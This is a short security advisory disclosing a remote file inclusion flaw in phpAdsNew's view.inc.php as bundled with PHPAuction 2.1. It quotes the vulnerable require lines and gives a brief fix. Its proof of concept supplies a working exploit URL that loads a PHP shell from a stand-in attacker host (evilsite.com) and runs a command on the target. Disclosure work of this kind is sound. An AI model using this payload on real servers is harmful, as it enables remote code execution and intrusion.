+-------------------------------------------------------------------- + + PHPAuction 2.1 with phpAdsNew 2.0.5 Remote File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: PHPAuction 2.1 (maybe higher) with phpAdsNew, + phpAdsNew 2.0.5 (maybe higher) + Venedor ...........: http://www.phpauction.net, + http://phpadsnew.com + Class .............: Remote File Inclusion in /phpAdsNew/view.inc.php + Risk ..............: high (Remote File Execution) + Found by ..........: Philipp Niedziela + Original advisory .: http://www.bb-pcsecurity.de/sicherheit_264.htm + Contact ...........: webmaster[at]bb-pcsecurity[.]de + +-------------------------------------------------------------------- + + Code /phpAdsNew/view.inc.php: + + ..... + // Include required files + require ("$phpAds_path/dblib.php"); + require ("$phpAds_path/lib-expire.inc.php"); + ..... + +-------------------------------------------------------------------- + + $phpAds_path is not properly sanitized before being used. + +-------------------------------------------------------------------- + + Solution: + Declare $phpAds_path before using. + +-------------------------------------------------------------------- + PoC: + Place a PHPShell on a remote location: + http://evilsite.com/dblib.php/index.html + + http://[target]/phpAdsNew/view.inc.php?phpAds_path=http://evilsite.com/d blib.php/&cmd=ls + +-------------------------------------------------------------------- + + Greets: + Krini&Lenni + +-------------------------[ E O F ]----------------------------------